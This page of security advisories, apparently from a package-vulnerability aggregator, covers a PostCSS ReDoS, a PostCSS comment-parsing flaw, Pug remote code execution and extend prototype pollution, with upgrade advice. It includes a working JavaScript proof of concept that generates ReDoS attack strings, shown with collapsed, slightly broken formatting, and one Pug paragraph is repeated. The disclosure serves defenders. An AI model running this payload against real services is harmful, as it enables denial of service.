Version Details and Security Vulnerabilities

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern

\/\*\s* sourceMappingURL=(.*)

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}

postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i) try {
            postcss.parse(attack_str) var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        } catch (e) {
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        }
    }
}

An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.

This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.

Pug through 3.0.2 allows JavaScript code execution if an application accepts untrusted input for the name option of the compileClient, compileFileClient, or compileClientWithDependenciesTracked function. NOTE: these functions are for compiling Pug templates into JavaScript, and there would typically be no reason to allow untrusted callers.

Impact

If a remote attacker was able to control the pretty option of the pug compiler, e.g. if you spread a user provided object such as the query parameters of a request into the pug template inputs, it was possible for them to achieve remote code execution on the node.js backend.

Patches

Upgrade to pug@3.0.1 or pug-code-gen@3.0.2 or pug-code-gen@2.0.3, which correctly sanitise the parameter.

Workarounds

If there is no way for un-trusted input to be passed to pug as the pretty option, e.g. if you compile templates in advance before applying user input to them, you do not need to upgrade.

References

Original report: https://github.com/pugjs/pug/issues/3312

For more information

If you believe you have found other vulnerabilities, please DO NOT open an issue. Instead, you can follow the instructions in our Security Policy

Pug through 3.0.2 allows JavaScript code execution if an application accepts untrusted input for the name option of the compileClient, compileFileClient, or compileClientWithDependenciesTracked function. NOTE: these functions are for compiling Pug templates into JavaScript, and there would typically be no reason to allow untrusted callers.

Versions of extend prior to 3.0.2 (for 3.x) and 2.0.2 (for 2.x) are vulnerable to Prototype Pollution. The extend() function allows attackers to modify the prototype of Object causing the addition or modification of an existing property that will exist on all objects.

Recommendation

If you're using extend 3.x upgrade to 3.0.2 or later. If you're using extend 2.x upgrade to 2.0.2 or later.